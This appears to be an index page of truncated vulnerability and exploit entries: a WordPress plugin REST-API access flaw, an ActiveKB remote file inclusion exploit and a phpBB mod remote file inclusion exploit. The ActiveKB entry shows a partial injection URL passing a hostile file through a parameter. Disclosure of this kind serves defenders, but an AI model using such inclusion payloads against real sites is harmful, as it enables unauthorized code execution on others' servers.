Design/Logic Flaw

The WP HTML Mail WordPress plugin is vulnerable to unauthorized access which allows unauthenticated attackers to retrieve and modify theme settings due to a missing capability check on the /themesettings REST-API endpoint found in the /includes/class-template-designer.php file, in versions up to...

ActiveKB RFI Vulnerability

Exploit for unknown platform in category web applications ========================== ActiveKB RFI Vulnerability ========================== ====================== Dz-Ghost Team =================== Exploit : 1- http://server/sm-ak051/includes/classes/class.template.php?panelPHPFile=EV!L...

Categories hierarchy phpBB Mod 2.1.2 - 'phpbb_root_path' Remote File Inclusion

C xoron Name: Categories hierarchy v2.1.2 phpbbrootpath Remote File Include Exploit Script name: Ptifo mod-CH212installed Author: xoron Exploit coded by xoron Download: http://sourceforge.net/project/showfiles.php?groupid=125710 xoron.biz - xoron.info Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjo...